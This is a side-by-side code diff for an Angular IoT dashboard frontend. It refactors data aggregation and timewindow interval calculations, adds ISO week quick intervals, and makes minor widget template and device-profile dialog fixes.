43 declare type AggFunction = (aggData: AggData, value?: any) => void; 90 declare type AggFunction = (aggData: AggData, value?: any) => void;
@@ -170,7 +217,7 @@ export class DataAggregator { @@ -170,7 +217,7 @@ export class DataAggregator {
170 updateIntervalScheduledTime = false; 217 updateIntervalScheduledTime = false;
171 } 218 }
172 if (update) { 219 if (update) {
173 - this.aggregationMap = {}; 220 + this.aggregationMap = new AggregationMap();
174 this.updateAggregatedData(data.data); 221 this.updateAggregatedData(data.data);
175 } else { 222 } else {
176 this.aggregationMap = this.processAggregatedData(data.data); 223 this.aggregationMap = this.processAggregatedData(data.data);
@@ -178,12 +225,17 @@ export class DataAggregator { @@ -178,12 +225,17 @@ export class DataAggregator {
178 if (updateIntervalScheduledTime) { 225 if (updateIntervalScheduledTime) {
179 this.intervalScheduledTime = this.utils.currentPerfTime(); 226 this.intervalScheduledTime = this.utils.currentPerfTime();
180 } 227 }
  228 + this.aggregationMap.clearRangeChangedFlags();
181 this.onInterval(history, detectChanges); 229 this.onInterval(history, detectChanges);
182 } else { 230 } else {
183 this.updateAggregatedData(data.data); 231 this.updateAggregatedData(data.data);
184 if (history) { 232 if (history) {
185 this.intervalScheduledTime = this.utils.currentPerfTime(); 233 this.intervalScheduledTime = this.utils.currentPerfTime();
186 this.onInterval(history, detectChanges); 234 this.onInterval(history, detectChanges);
  235 + } else {
  236 + if (this.aggregationMap.detectRangeChanged()) {
  237 + this.onInterval(false, detectChanges, true);
  238 + }
187 } 239 }
188 } 240 }
189 } 241 }
@@ -192,18 +244,19 @@ export class DataAggregator { @@ -192,18 +244,19 @@ export class DataAggregator {
192 this.startTs = this.subsTw.startTs + this.subsTw.tsOffset; 244 this.startTs = this.subsTw.startTs + this.subsTw.tsOffset;
193 if (this.subsTw.quickInterval) { 245 if (this.subsTw.quickInterval) {
194 if (this.subsTw.timeForComparison === 'previousInterval') { 246 if (this.subsTw.timeForComparison === 'previousInterval') {
  247 + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
195 const currentDate = getCurrentTime(this.subsTw.timezone); 248 const currentDate = getCurrentTime(this.subsTw.timezone);
196 - this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; 249 + this.endTs = calculateIntervalComparisonEndTime(this.subsTw.quickInterval, startDate, currentDate) + this.subsTw.tsOffset;
197 } else { 250 } else {
198 - const currentDate = this.getCurrentTime();  
199 - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; 251 + const startDate = getTime(this.subsTw.startTs, this.subsTw.timezone);
  252 + this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, startDate, this.subsTw.timezone) + this.subsTw.tsOffset;
200 } 253 }
201 } else { 254 } else {
202 this.endTs = this.startTs + this.subsTw.aggregation.timeWindow; 255 this.endTs = this.startTs + this.subsTw.aggregation.timeWindow;
203 } 256 }
204 } 257 }
205 258
206 - private onInterval(history?: boolean, detectChanges?: boolean) { 259 + private onInterval(history?: boolean, detectChanges?: boolean, rangeChanged?: boolean) {
207 const now = this.utils.currentPerfTime(); 260 const now = this.utils.currentPerfTime();
208 this.elapsed += now - this.intervalScheduledTime; 261 this.elapsed += now - this.intervalScheduledTime;
209 this.intervalScheduledTime = now; 262 this.intervalScheduledTime = now;
@@ -211,14 +264,15 @@ export class DataAggregator { @@ -211,14 +264,15 @@ export class DataAggregator {
211 clearTimeout(this.intervalTimeoutHandle); 264 clearTimeout(this.intervalTimeoutHandle);
212 this.intervalTimeoutHandle = null; 265 this.intervalTimeoutHandle = null;
213 } 266 }
  267 + const intervalTimeout = rangeChanged ? this.aggregationTimeout - this.elapsed : this.aggregationTimeout;
214 if (!history) { 268 if (!history) {
215 const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval); 269 const delta = Math.floor(this.elapsed / this.subsTw.aggregation.interval);
216 - if (delta || !this.data) { 270 + if (delta || !this.data || rangeChanged) {
217 const tickTs = delta * this.subsTw.aggregation.interval; 271 const tickTs = delta * this.subsTw.aggregation.interval;
218 if (this.subsTw.quickInterval) { 272 if (this.subsTw.quickInterval) {
219 - const currentDate = this.getCurrentTime();  
220 - this.startTs = calculateIntervalStartTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset;  
221 - this.endTs = calculateIntervalEndTime(this.subsTw.quickInterval, currentDate) + this.subsTw.tsOffset; 273 + const startEndTime = calculateIntervalStartEndTime(this.subsTw.quickInterval, this.subsTw.timezone);
  274 + this.startTs = startEndTime[0] + this.subsTw.tsOffset;
  275 + this.endTs = startEndTime[1] + this.subsTw.tsOffset;
222 } else { 276 } else {
223 this.startTs += tickTs; 277 this.startTs += tickTs;
224 this.endTs += tickTs; 278 this.endTs += tickTs;
@@ -234,7 +288,7 @@ export class DataAggregator { @@ -234,7 +288,7 @@ export class DataAggregator {
234 this.updatedData = false; 288 this.updatedData = false;
235 } 289 }
236 if (!history) { 290 if (!history) {
237 - this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), this.aggregationTimeout); 291 + this.intervalTimeoutHandle = setTimeout(this.onInterval.bind(this), intervalTimeout);
238 } 292 }
239 } 293 }
240 294
@@ -242,18 +296,18 @@ export class DataAggregator { @@ -242,18 +296,18 @@ export class DataAggregator {
242 this.tsKeyNames.forEach((key) => { 296 this.tsKeyNames.forEach((key) => {
243 this.dataBuffer[key] = []; 297 this.dataBuffer[key] = [];
244 }); 298 });
245 - for (const key of Object.keys(this.aggregationMap)) {  
246 - const aggKeyData = this.aggregationMap[key]; 299 + for (const key of Object.keys(this.aggregationMap.aggMap)) {
  300 + const aggKeyData = this.aggregationMap.aggMap[key];
247 let keyData = this.dataBuffer[key]; 301 let keyData = this.dataBuffer[key];
248 aggKeyData.forEach((aggData, aggTimestamp) => { 302 aggKeyData.forEach((aggData, aggTimestamp) => {
249 - if (aggTimestamp <= this.startTs) { 303 + if (aggTimestamp < this.startTs) {
250 if (this.subsTw.aggregation.stateData && 304 if (this.subsTw.aggregation.stateData &&
251 (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) { 305 (!this.lastPrevKvPairData[key] || this.lastPrevKvPairData[key][0] < aggTimestamp)) {
252 this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue]; 306 this.lastPrevKvPairData[key] = [aggTimestamp, aggData.aggValue];
253 } 307 }
254 aggKeyData.delete(aggTimestamp); 308 aggKeyData.delete(aggTimestamp);
255 this.updatedData = true; 309 this.updatedData = true;
256 - } else if (aggTimestamp <= this.endTs) { 310 + } else if (aggTimestamp < this.endTs) {
257 const kvPair: [number, any] = [aggTimestamp, aggData.aggValue]; 311 const kvPair: [number, any] = [aggTimestamp, aggData.aggValue];
258 keyData.push(kvPair); 312 keyData.push(kvPair);
259 } 313 }
@@ -300,12 +354,12 @@ export class DataAggregator { @@ -300,12 +354,12 @@ export class DataAggregator {
300 354
301 private processAggregatedData(data: SubscriptionData): AggregationMap { 355 private processAggregatedData(data: SubscriptionData): AggregationMap {
302 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; 356 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
303 - const aggregationMap: AggregationMap = {}; 357 + const aggregationMap = new AggregationMap();
304 for (const key of Object.keys(data)) { 358 for (const key of Object.keys(data)) {
305 - let aggKeyData = aggregationMap[key]; 359 + let aggKeyData = aggregationMap.aggMap[key];
306 if (!aggKeyData) { 360 if (!aggKeyData) {
307 - aggKeyData = new Map<number, AggData>();  
308 - aggregationMap[key] = aggKeyData; 361 + aggKeyData = new AggDataMap();
  362 + aggregationMap.aggMap[key] = aggKeyData;
309 } 363 }
310 const keyData = data[key]; 364 const keyData = data[key];
311 keyData.forEach((kvPair) => { 365 keyData.forEach((kvPair) => {
@@ -326,10 +380,10 @@ export class DataAggregator { @@ -326,10 +380,10 @@ export class DataAggregator {
326 private updateAggregatedData(data: SubscriptionData) { 380 private updateAggregatedData(data: SubscriptionData) {
327 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT; 381 const isCount = this.subsTw.aggregation.type === AggregationType.COUNT;
328 for (const key of Object.keys(data)) { 382 for (const key of Object.keys(data)) {
329 - let aggKeyData = this.aggregationMap[key]; 383 + let aggKeyData = this.aggregationMap.aggMap[key];
330 if (!aggKeyData) { 384 if (!aggKeyData) {
331 - aggKeyData = new Map<number, AggData>();  
332 - this.aggregationMap[key] = aggKeyData; 385 + aggKeyData = new AggDataMap();
  386 + this.aggregationMap.aggMap[key] = aggKeyData;
333 } 387 }
334 const keyData = data[key]; 388 const keyData = data[key];
335 keyData.forEach((kvPair) => { 389 keyData.forEach((kvPair) => {
@@ -374,4 +428,3 @@ export class DataAggregator { @@ -374,4 +428,3 @@ export class DataAggregator {
374 } 428 }
375 429
376 } 430 }
377 -  
@@ -277,7 +277,11 @@ export class EntityDataSubscription { @@ -277,7 +277,11 @@ export class EntityDataSubscription {
277 dataAggregator.reset(newSubsTw); 277 dataAggregator.reset(newSubsTw);
278 }); 278 });
279 } 279 }
280 - this.subscriber.setTsOffset(this.subsTw.tsOffset); 280 + if (this.entityDataSubscriptionOptions.type === widgetType.timeseries) {
  281 + this.subscriber.setTsOffset(this.subsTw.tsOffset);
  282 + } else {
  283 + this.subscriber.setTsOffset(this.latestTsOffset);
  284 + }
281 targetCommand.query = this.dataCommand.query; 285 targetCommand.query = this.dataCommand.query;
282 this.subscriber.subscriptionCommands = [targetCommand]; 286 this.subscriber.subscriptionCommands = [targetCommand];
283 } else { 287 } else {
@@ -37,12 +37,11 @@ import { @@ -37,12 +37,11 @@ import {
37 } from '@app/shared/models/widget.models'; 37 } from '@app/shared/models/widget.models';
38 import { HttpErrorResponse } from '@angular/common/http'; 38 import { HttpErrorResponse } from '@angular/common/http';
39 import { 39 import {
40 - calculateIntervalEndTime,  
41 - calculateIntervalStartTime, 40 + calculateIntervalStartEndTime,
42 calculateTsOffset, ComparisonDuration, 41 calculateTsOffset, ComparisonDuration,
43 createSubscriptionTimewindow, 42 createSubscriptionTimewindow,
44 createTimewindowForComparison, 43 createTimewindowForComparison,
45 - getCurrentTime, isHistoryTypeTimewindow, 44 + isHistoryTypeTimewindow,
46 SubscriptionTimewindow, 45 SubscriptionTimewindow,
47 Timewindow, timewindowTypeChanged, 46 Timewindow, timewindowTypeChanged,
48 toHistoryTimewindow, 47 toHistoryTimewindow,
@@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription { @@ -1106,11 +1105,9 @@ export class WidgetSubscription implements IWidgetSubscription {
1106 this.timeWindow.timezone = this.subscriptionTimewindow.timezone; 1105 this.timeWindow.timezone = this.subscriptionTimewindow.timezone;
1107 if (this.subscriptionTimewindow.realtimeWindowMs) { 1106 if (this.subscriptionTimewindow.realtimeWindowMs) {
1108 if (this.subscriptionTimewindow.quickInterval) { 1107 if (this.subscriptionTimewindow.quickInterval) {
1109 - const currentDate = getCurrentTime(this.subscriptionTimewindow.timezone);  
1110 - this.timeWindow.maxTime = calculateIntervalEndTime(  
1111 - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset;  
1112 - this.timeWindow.minTime = calculateIntervalStartTime(  
1113 - this.subscriptionTimewindow.quickInterval, currentDate) + this.subscriptionTimewindow.tsOffset; 1108 + const startEndTime = calculateIntervalStartEndTime(this.subscriptionTimewindow.quickInterval, this.subscriptionTimewindow.timezone);
  1109 + this.timeWindow.maxTime = startEndTime[1] + this.subscriptionTimewindow.tsOffset;
  1110 + this.timeWindow.minTime = startEndTime[0] + this.subscriptionTimewindow.tsOffset;
1114 } else { 1111 } else {
1115 this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff; 1112 this.timeWindow.maxTime = moment().valueOf() + this.subscriptionTimewindow.tsOffset + this.timeWindow.stDiff;
1116 this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs; 1113 this.timeWindow.minTime = this.timeWindow.maxTime - this.subscriptionTimewindow.realtimeWindowMs;
@@ -80,9 +80,9 @@ @@ -80,9 +80,9 @@
80 (mousedown)="widgetMouseDown($event, widget)" 80 (mousedown)="widgetMouseDown($event, widget)"
81 (click)="widgetClicked($event, widget)" 81 (click)="widgetClicked($event, widget)"
82 (contextmenu)="openWidgetContextMenu($event, widget)"> 82 (contextmenu)="openWidgetContextMenu($event, widget)">
83 - <div fxLayout="row" fxLayoutAlign="space-between start">  
84 - <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" [fxShow]="widget.showWidgetTitlePanel">  
85 - <span [fxShow]="widget.showTitle" 83 + <div *ngIf="widgetComponent.widgetContext?.inited" fxLayout="row" fxLayoutAlign="space-between start">
  84 + <div class="tb-widget-title" fxLayout="column" fxLayoutAlign="center start" *ngIf="widget.showWidgetTitlePanel">
  85 + <span *ngIf="widget.showTitle"
86 [ngClass]="{'single-row': widget.hasTimewindow}" 86 [ngClass]="{'single-row': widget.hasTimewindow}"
87 [ngStyle]="widget.titleStyle" 87 [ngStyle]="widget.titleStyle"
88 [matTooltip]="widget.titleTooltip" 88 [matTooltip]="widget.titleTooltip"
@@ -93,7 +93,6 @@ @@ -93,7 +93,6 @@
93 {{widget.customTranslatedTitle}} 93 {{widget.customTranslatedTitle}}
94 </span> 94 </span>
95 <tb-timewindow *ngIf="widget.hasTimewindow" 95 <tb-timewindow *ngIf="widget.hasTimewindow"
96 - #timewindowComponent  
97 aggregation="{{widget.hasAggregation}}" 96 aggregation="{{widget.hasAggregation}}"
98 timezone="true" 97 timezone="true"
99 [isEdit]="isEdit" 98 [isEdit]="isEdit"
@@ -101,7 +100,7 @@ @@ -101,7 +100,7 @@
101 (ngModelChange)="widgetComponent.onTimewindowChanged($event)"> 100 (ngModelChange)="widgetComponent.onTimewindowChanged($event)">
102 </tb-timewindow> 101 </tb-timewindow>
103 </div> 102 </div>
104 - <div [fxShow]="widget.showWidgetActions" 103 + <div *ngIf="widget.showWidgetActions"
105 class="tb-widget-actions" 104 class="tb-widget-actions"
106 [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}" 105 [ngClass]="{'tb-widget-actions-absolute': !(widget.showWidgetTitlePanel&&(widget.showTitle||widget.hasAggregation))}"
107 fxLayout="row" 106 fxLayout="row"
@@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service'; @@ -56,9 +56,7 @@ import { DialogService } from '@core/services/dialog.service';
56 import { AddEntityDialogComponent } from './add-entity-dialog.component'; 56 import { AddEntityDialogComponent } from './add-entity-dialog.component';
57 import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models'; 57 import { AddEntityDialogData, EntityAction } from '@home/models/entity/entity-component.models';
58 import { 58 import {
59 - calculateIntervalEndTime,  
60 - calculateIntervalStartTime,  
61 - getCurrentTime, 59 + calculateIntervalStartEndTime,
62 HistoryWindowType, 60 HistoryWindowType,
63 Timewindow 61 Timewindow
64 } from '@shared/models/time/time.models'; 62 } from '@shared/models/time/time.models';
@@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn @@ -303,9 +301,9 @@ export class EntitiesTableComponent extends PageComponent implements AfterViewIn
303 timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs; 301 timePageLink.startTime = currentTime - this.timewindow.history.timewindowMs;
304 timePageLink.endTime = currentTime; 302 timePageLink.endTime = currentTime;
305 } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) { 303 } else if (this.timewindow.history.historyType === HistoryWindowType.INTERVAL) {
306 - const currentDate = getCurrentTime();  
307 - timePageLink.startTime = calculateIntervalStartTime(this.timewindow.history.quickInterval, currentDate);  
308 - timePageLink.endTime = calculateIntervalEndTime(this.timewindow.history.quickInterval, currentDate); 304 + const startEndTime = calculateIntervalStartEndTime(this.timewindow.history.quickInterval);
  305 + timePageLink.startTime = startEndTime[0];
  306 + timePageLink.endTime = startEndTime[1];
309 } else { 307 } else {
310 timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs; 308 timePageLink.startTime = this.timewindow.history.fixedTimewindow.startTimeMs;
311 timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs; 309 timePageLink.endTime = this.timewindow.history.fixedTimewindow.endTimeMs;
@@ -36,7 +36,6 @@ import { @@ -36,7 +36,6 @@ import {
36 import { DeviceProfileService } from '@core/http/device-profile.service'; 36 import { DeviceProfileService } from '@core/http/device-profile.service';
37 import { DeviceProfileComponent } from '@home/components/profile/device-profile.component'; 37 import { DeviceProfileComponent } from '@home/components/profile/device-profile.component';
38 import { DeviceProfileTabsComponent } from './device-profile-tabs.component'; 38 import { DeviceProfileTabsComponent } from './device-profile-tabs.component';
39 -import { Observable } from 'rxjs';  
40 import { MatDialog } from '@angular/material/dialog'; 39 import { MatDialog } from '@angular/material/dialog';
41 import { 40 import {
42 AddDeviceProfileDialogComponent, 41 AddDeviceProfileDialogComponent,
@@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon @@ -138,8 +137,8 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
138 return actions; 137 return actions;
139 } 138 }
140 139
141 - addDeviceProfile(): Observable<DeviceProfile> {  
142 - return this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData, 140 + addDeviceProfile() {
  141 + this.dialog.open<AddDeviceProfileDialogComponent, AddDeviceProfileDialogData,
143 DeviceProfile>(AddDeviceProfileDialogComponent, { 142 DeviceProfile>(AddDeviceProfileDialogComponent, {
144 disableClose: true, 143 disableClose: true,
145 panelClass: ['tb-dialog', 'tb-fullscreen-dialog'], 144 panelClass: ['tb-dialog', 'tb-fullscreen-dialog'],
@@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon @@ -147,7 +146,13 @@ export class DeviceProfilesTableConfigResolver implements Resolve<EntityTableCon
147 deviceProfileName: null, 146 deviceProfileName: null,
148 transportType: null 147 transportType: null
149 } 148 }
150 - }).afterClosed(); 149 + }).afterClosed().subscribe(
  150 + (res) => {
  151 + if (res) {
  152 + this.config.table.updateData();
  153 + }
  154 + }
  155 + );
151 } 156 }
152 157
153 setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) { 158 setDefaultDeviceProfile($event: Event, deviceProfile: DeviceProfile) {
@@ -520,7 +520,7 @@ export enum DeviceCredentialsType { @@ -520,7 +520,7 @@ export enum DeviceCredentialsType {
520 export const credentialTypeNames = new Map<DeviceCredentialsType, string>( 520 export const credentialTypeNames = new Map<DeviceCredentialsType, string>(
521 [ 521 [
522 [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'], 522 [DeviceCredentialsType.ACCESS_TOKEN, 'Access token'],
523 - [DeviceCredentialsType.X509_CERTIFICATE, 'MQTT X.509'], 523 + [DeviceCredentialsType.X509_CERTIFICATE, 'X.509'],
524 [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'], 524 [DeviceCredentialsType.MQTT_BASIC, 'MQTT Basic'],
525 [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials'] 525 [DeviceCredentialsType.LWM2M_CREDENTIALS, 'LwM2M Credentials']
526 ] 526 ]
@@ -136,13 +136,16 @@ export enum QuickTimeInterval { @@ -136,13 +136,16 @@ export enum QuickTimeInterval {
136 DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY', 136 DAY_BEFORE_YESTERDAY = 'DAY_BEFORE_YESTERDAY',
137 THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK', 137 THIS_DAY_LAST_WEEK = 'THIS_DAY_LAST_WEEK',
138 PREVIOUS_WEEK = 'PREVIOUS_WEEK', 138 PREVIOUS_WEEK = 'PREVIOUS_WEEK',
  139 + PREVIOUS_WEEK_ISO = 'PREVIOUS_WEEK_ISO',
139 PREVIOUS_MONTH = 'PREVIOUS_MONTH', 140 PREVIOUS_MONTH = 'PREVIOUS_MONTH',
140 PREVIOUS_YEAR = 'PREVIOUS_YEAR', 141 PREVIOUS_YEAR = 'PREVIOUS_YEAR',
141 CURRENT_HOUR = 'CURRENT_HOUR', 142 CURRENT_HOUR = 'CURRENT_HOUR',
142 CURRENT_DAY = 'CURRENT_DAY', 143 CURRENT_DAY = 'CURRENT_DAY',
143 CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR', 144 CURRENT_DAY_SO_FAR = 'CURRENT_DAY_SO_FAR',
144 CURRENT_WEEK = 'CURRENT_WEEK', 145 CURRENT_WEEK = 'CURRENT_WEEK',
145 - CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_WAR', 146 + CURRENT_WEEK_ISO = 'CURRENT_WEEK_ISO',
  147 + CURRENT_WEEK_SO_FAR = 'CURRENT_WEEK_SO_FAR',
  148 + CURRENT_WEEK_ISO_SO_FAR = 'CURRENT_WEEK_ISO_SO_FAR',
146 CURRENT_MONTH = 'CURRENT_MONTH', 149 CURRENT_MONTH = 'CURRENT_MONTH',
147 CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR', 150 CURRENT_MONTH_SO_FAR = 'CURRENT_MONTH_SO_FAR',
148 CURRENT_YEAR = 'CURRENT_YEAR', 151 CURRENT_YEAR = 'CURRENT_YEAR',
@@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string @@ -154,13 +157,16 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
154 [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'], 157 [QuickTimeInterval.DAY_BEFORE_YESTERDAY, 'timeinterval.predefined.day-before-yesterday'],
155 [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'], 158 [QuickTimeInterval.THIS_DAY_LAST_WEEK, 'timeinterval.predefined.this-day-last-week'],
156 [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'], 159 [QuickTimeInterval.PREVIOUS_WEEK, 'timeinterval.predefined.previous-week'],
  160 + [QuickTimeInterval.PREVIOUS_WEEK_ISO, 'timeinterval.predefined.previous-week-iso'],
157 [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'], 161 [QuickTimeInterval.PREVIOUS_MONTH, 'timeinterval.predefined.previous-month'],
158 [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'], 162 [QuickTimeInterval.PREVIOUS_YEAR, 'timeinterval.predefined.previous-year'],
159 [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'], 163 [QuickTimeInterval.CURRENT_HOUR, 'timeinterval.predefined.current-hour'],
160 [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'], 164 [QuickTimeInterval.CURRENT_DAY, 'timeinterval.predefined.current-day'],
161 [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'], 165 [QuickTimeInterval.CURRENT_DAY_SO_FAR, 'timeinterval.predefined.current-day-so-far'],
162 [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'], 166 [QuickTimeInterval.CURRENT_WEEK, 'timeinterval.predefined.current-week'],
  167 + [QuickTimeInterval.CURRENT_WEEK_ISO, 'timeinterval.predefined.current-week-iso'],
163 [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'], 168 [QuickTimeInterval.CURRENT_WEEK_SO_FAR, 'timeinterval.predefined.current-week-so-far'],
  169 + [QuickTimeInterval.CURRENT_WEEK_ISO_SO_FAR, 'timeinterval.predefined.current-week-iso-so-far'],
164 [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'], 170 [QuickTimeInterval.CURRENT_MONTH, 'timeinterval.predefined.current-month'],
165 [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'], 171 [QuickTimeInterval.CURRENT_MONTH_SO_FAR, 'timeinterval.predefined.current-month-so-far'],
166 [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'], 172 [QuickTimeInterval.CURRENT_YEAR, 'timeinterval.predefined.current-year'],
@@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string @@ -168,19 +174,18 @@ export const QuickTimeIntervalTranslationMap = new Map<QuickTimeInterval, string
168 ]); 174 ]);
169 175
170 export function historyInterval(timewindowMs: number): Timewindow { 176 export function historyInterval(timewindowMs: number): Timewindow {
171 - const timewindow: Timewindow = { 177 + return {
172 selectedTab: TimewindowType.HISTORY, 178 selectedTab: TimewindowType.HISTORY,
173 history: { 179 history: {
174 historyType: HistoryWindowType.LAST_INTERVAL, 180 historyType: HistoryWindowType.LAST_INTERVAL,
175 timewindowMs 181 timewindowMs
176 } 182 }
177 }; 183 };
178 - return timewindow;  
179 } 184 }
180 185
181 export function defaultTimewindow(timeService: TimeService): Timewindow { 186 export function defaultTimewindow(timeService: TimeService): Timewindow {
182 const currentTime = moment().valueOf(); 187 const currentTime = moment().valueOf();
183 - const timewindow: Timewindow = { 188 + return {
184 displayValue: '', 189 displayValue: '',
185 hideInterval: false, 190 hideInterval: false,
186 hideAggregation: false, 191 hideAggregation: false,
@@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow { @@ -208,7 +213,6 @@ export function defaultTimewindow(timeService: TimeService): Timewindow {
208 limit: Math.floor(timeService.getMaxDatapointsLimit() / 2) 213 limit: Math.floor(timeService.getMaxDatapointsLimit() / 2)
209 } 214 }
210 }; 215 };
211 - return timewindow;  
212 } 216 }
213 217
214 function getTimewindowType(timewindow: Timewindow): TimewindowType { 218 function getTimewindowType(timewindow: Timewindow): TimewindowType {
@@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, @@ -298,7 +302,7 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
298 aggType = AggregationType.AVG; 302 aggType = AggregationType.AVG;
299 limit = timeService.getMaxDatapointsLimit(); 303 limit = timeService.getMaxDatapointsLimit();
300 } 304 }
301 - const historyTimewindow: Timewindow = { 305 + return {
302 hideInterval: timewindow.hideInterval || false, 306 hideInterval: timewindow.hideInterval || false,
303 hideAggregation: timewindow.hideAggregation || false, 307 hideAggregation: timewindow.hideAggregation || false,
304 hideAggInterval: timewindow.hideAggInterval || false, 308 hideAggInterval: timewindow.hideAggInterval || false,
@@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number, @@ -318,7 +322,6 @@ export function toHistoryTimewindow(timewindow: Timewindow, startTimeMs: number,
318 }, 322 },
319 timezone: timewindow.timezone 323 timezone: timewindow.timezone
320 }; 324 };
321 - return historyTimewindow;  
322 } 325 }
323 326
324 export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean { 327 export function timewindowTypeChanged(newTimewindow: Timewindow, oldTimewindow: Timewindow): boolean {
@@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num @@ -357,7 +360,7 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
357 timezone: timewindow.timezone, 360 timezone: timewindow.timezone,
358 tsOffset: calculateTsOffset(timewindow.timezone) 361 tsOffset: calculateTsOffset(timewindow.timezone)
359 }; 362 };
360 - let aggTimewindow = 0; 363 + let aggTimewindow;
361 if (stateData) { 364 if (stateData) {
362 subscriptionTimewindow.aggregation.type = AggregationType.NONE; 365 subscriptionTimewindow.aggregation.type = AggregationType.NONE;
363 subscriptionTimewindow.aggregation.stateData = true; 366 subscriptionTimewindow.aggregation.stateData = true;
@@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num @@ -379,14 +382,15 @@ export function createSubscriptionTimewindow(timewindow: Timewindow, stDiff: num
379 } 382 }
380 } 383 }
381 if (realtimeType === RealtimeWindowType.INTERVAL) { 384 if (realtimeType === RealtimeWindowType.INTERVAL) {
382 - const currentDate = getCurrentTime(timewindow.timezone);  
383 subscriptionTimewindow.realtimeWindowMs = 385 subscriptionTimewindow.realtimeWindowMs =
384 - getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, currentDate); 386 + getSubscriptionRealtimeWindowFromTimeInterval(timewindow.realtime.quickInterval, timewindow.timezone);
385 subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval; 387 subscriptionTimewindow.quickInterval = timewindow.realtime.quickInterval;
386 - subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate); 388 + const currentDate = getCurrentTime(timewindow.timezone);
  389 + subscriptionTimewindow.startTs = calculateIntervalStartTime(timewindow.realtime.quickInterval, currentDate).valueOf();
387 } else { 390 } else {
388 subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs; 391 subscriptionTimewindow.realtimeWindowMs = timewindow.realtime.timewindowMs;
389 - subscriptionTimewindow.startTs = Date.now() + stDiff - subscriptionTimewindow.realtimeWindowMs; 392 + const currentDate = getCurrentTime(timewindow.timezone);
  393 + subscriptionTimewindow.startTs = currentDate.valueOf() + stDiff - subscriptionTimewindow.realtimeWindowMs;
390 } 394 }
391 subscriptionTimewindow.aggregation.interval = 395 subscriptionTimewindow.aggregation.interval =
392 timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval, 396 timeService.boundIntervalToTimewindow(subscriptionTimewindow.realtimeWindowMs, timewindow.realtime.interval,
